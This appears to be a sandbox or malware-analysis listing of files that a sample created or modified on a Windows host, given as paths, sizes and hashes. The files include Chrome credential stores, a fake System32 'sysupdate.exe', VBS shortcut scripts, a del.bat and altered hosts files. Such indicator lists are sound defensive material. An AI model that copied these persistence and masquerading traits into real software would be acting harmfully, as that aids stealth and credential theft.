- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\ab585db2f3b7e16923a8e81b9a451027720aa42c\8ce7fa43-6d11-4877-b68c-485ed7606530\index-dir\the-real-index~RFe58872c.TMP
- Size 48B
- SHA256 3c5df0bc494ef4f5b106e1cf7d704ffb7bc3d8d529265f029f496d5ea342d484
- MD5 fa999b0ac9393c12d0f87c79e7d7ab05
- SHA1 adf33a47821b8798db33780efb856aeae9873f32
- SHA512 1fe35f989a3c59d869db9340ef754977fdf6deca1218f091de810c9353cf55b4a6f5722d0e6de6719f8dc8bd069b54754152f4c5affcdb40c3c240221254792f
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\ab585db2f3b7e16923a8e81b9a451027720aa42c\index.txt
- Size 136B
- SHA256 155b29cc0b1bfedeffc4cd81ce12eee03b85353d8ac79449b7e45780376cf9ef
- MD5 3046a16685e235aea978e272249a5b42
- SHA1 d570f573fde4ae0bab6eec0ad700fa74b1aeb45e
- SHA512 1ec2d131114653c2229b5d58db030858e33aad42ef4a118dfe7293cb2c34312f1566c942e0e23f56ccdac0222725a355c293aae50b269c516a3dc0217b07ad93
- TLSH T11CC09BDF243574457E56D7C154042C6AD335E18DACD0C8F495E1A847C843022C5CAF99
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\ab585db2f3b7e16923a8e81b9a451027720aa42c\index.txt~RFe58876b.TMP
- Size 142B
- SHA256 194dcd29e661693429dae960fa08be8bce49b906f7b5bba52b9ced0a5cd64fff
- MD5 5c5e4777b3e92e18e6a7b0dee1b28cfc
- SHA1 e02126dd1b567f5bb8c20f4c251467bae2c391cf
- SHA512 e3c7cb33e6f42ec4ee90544cff48d2e1205285b72d79e02c1081cdcc933798a7228d61b48076601fd5988672fb25916f0325d39b9f1f7d56f66ff5ad7b07f3ab
- TLSH T1C2C04C9B243674457A5692C294142C5AD335E9896CC0C8E49591B4469473022C689E99
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 144B
- SHA256 1ddb5adeab7771a0a0169f32922d0d524f9815accd1541b6e3499163628d0516
- MD5 3eb0658281896ef9a16fa41a567b98a6
- SHA1 80b684211637a1b4d2545194b1ede6e5f3d5b520
- SHA512 bba596b3cac82bf8dd185a4c088972eebb88fd565c6dd80d6b9297e3cbb2d022bf4839b8c6e019ba91919505e243ecaab82212fc0fb6bd1237d1636053429ac2
- TLSH T107C01246C5067141C23A03FD2483D8D8B11CDF23E61B234C53E42E63D83E57290253A1
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe589e2f.TMP
- Size 96B
- SHA256 748deea0b48a9d7278c33cdc251c6b5f0d5e5c1524b9e578f39910ab81f0b237
- MD5 27c278c9673d416328bfdf069849d8e5
- SHA1 0cd51e4753e01822ce5f00a895a75ea1de448f08
- SHA512 9c52fb5332db01aaeeb5b3e38e84b333deb3fd67b430b6fef84f715a544f9f4cb3aee1f4635275ce708ce90a9b9eab2aa75a8bd9573a233f5c3a4ca605761e9f
- TLSH T12DB00255C1026612C08207B079DDA6D871A0FF35D603125792E25A6ADC277F0A53B568
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 909c1d9d4ed445e9015f3e9fcdf9b5fc14d90941add68505fd19dd3a6766adfc
- MD5 9e62634e2b0850ae3db0de5a9a46411a
- SHA1 a50198b83be5c2c9e7654e360d9c261c0ce8b366
- SHA512 df84c8c588285b24b5eaa5b3ccb796cb3659e07c494020e67df4c3cfc31a2443b7389d60f349376bc439e745c6724c3f2ea51609afda484e183d13564977dc66
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OkGaOVumB3na:1nbZeMrv/hGtkGFna
- TLSH T12CD3884B3A747102DDE59A722CE050BB5D3CB16D4F51A5D438B620588EF2963A23E4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 236KB
- SHA256 d165a262a4d85ddb5f73c36ca66fd7824feee15f35833c68d910d9af360496ff
- MD5 7116a4a0dff249946837e14bb827ff75
- SHA1 883e8aa35dd0d921671e2f39d56afbf8cbddb702
- SHA512 8cfcd66b2d26cb1072d75073ed34e46209a0ffeaef4821b386c4308b32f6e218870fd8d934d2fc6cd0ef55b7c9b2dc351f3843f04d609ff80a4f2eecee9ccb52
- SSDEEP 6144:xjkvrvT2ZBFuht5m09H3o0Lm7Rkm1tYpBeh2BAod:xQvH4Fuht5m0F3oZ9oBGcAod
- TLSH T1B23412372C347EBA99BCEE0E704E162F2FF11EE6D964DA5550D0160523AF68C0A49CB4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 235KB
- SHA256 d55465b9d3b538c3f778d8725eff2b1a00113aab25f7abbfaca998ea67a3095d
- MD5 1cd03f849605924c35a7892e49e68878
- SHA1 a8ffbf01c95ddfc0d0f44dbb858b320da109e4f8
- SHA512 c0a20d051e5d791ed7143ee5121ff661bd6ea9aa0a0daf2bd3b2483b8c9402a652c6a6c6dee670b4fb9ebfc151daf891c4a2bd8ee832d3df894e4bd424e04460
- SSDEEP 6144:x8vrvT2ZBFuht5m09H3o0Lm7Rkm1tYpBeh2BAod:x8vH4Fuht5m0F3oZ9oBGcAod
- TLSH T1843412232D387EBA99BCFB0E704E072F2FB11EE59864DA6641D1560523EF78C1648CB5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 e9a05a4aa837f5f8dc1a197e9df41c1b8f64f548748cf30e91fdaaafb1e7b420
- MD5 1e8f1d1ace7facdd7a79494d40e40a6b
- SHA1 bd36d4017331bde044c997328ab8adfbb865e6bc
- SHA512 81dc9f2c62f0b2f0bc064919870f57636bc6bf7fc9e0ce891ad020bd2a27fbef12e1eb1ae2f6e9d44ba113ae24388bb1bcec25331121f098f46cc9cf73f18a34
- SSDEEP 3072:/DGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMM:/6m7Rkm1tYpBeh2BAoM
- TLSH T162C312275E75E9375878BB0EB08E0B1F1EF14AA6D930DA92C8D86B0467F97CC1A05D34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\grafme.com_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_suhzz04d.tyy.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 242B
- SHA256 4612fc93095faa089b92bcd72b98973b7d1db05021420531d2cec55e1e1731c0
- MD5 1e0e1856e0c01ae3b95ca03d387cd4c2
- SHA1 bce4f7dc11f2573f981feec8e6af5d2a37a1169c
- SHA512 716d36fec773aed9ae3989745d598a73e3e2f370d83dda6cc59c0f3fc0aa7c8f6fcef11d9fbf6b5f18bba227e16319e352d3407e5a50e478ee23e1bec35dae28
- TLSH T17AD0A7CFB248C6A90001123B81F38D5DE9E598693B13BE609AA5DD4E32918C589F6583
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 243B
- SHA256 04265fd549988dfb588c2b399a11421445204c6d2febe9c88fbfd169889741ca
- MD5 60a8026f04b6ce008081186400e28c33
- SHA1 569f980bd6380daea78aef3e56dc8d1cabe1ae4a
- SHA512 056bb748976fd774284aba290b9fe3ae5e7e371d6ec6c3dcc8f4fa6524d5631a046a58e333f1b0cdd06856cd796acb97f668d3fb171bf1b86ba5a8c191c2c930
- TLSH T11FD0A7CFB248C6A90001123B80F38D5DEAE199693F13AE609AA5DD0E328188589F6583
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 48KB
- SHA256 1dc680f9da322e7f7eaf690f524e607698cca6f566c18ec10581c8d2615cf10a
- MD5 6fd0400337029cc7f97cdd563a2302c4
- SHA1 30d3f672a0aee77c5bc6e0c232d395c7af0775e6
- SHA512 453da20b27c4d4a9906e1008c5b3672086daaf0bb3bd0ded13c53058d86b302f5dbb9489b4442590eed4e27b7a1ba0ac22fcfc1f845c10e3ecfb8fb72c5e5ac5
- SSDEEP 768:1hACrXoD+LmjXsvFisuF94S//o4GC1XXGblfA0FKFcz:jjEDY2SA9WSI4GEXGblf9Fucz
- TLSH T14923070437F98511E2FF5ABA4DB19601AB30F4A79C22D78E06D5058E1AB3740DEA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH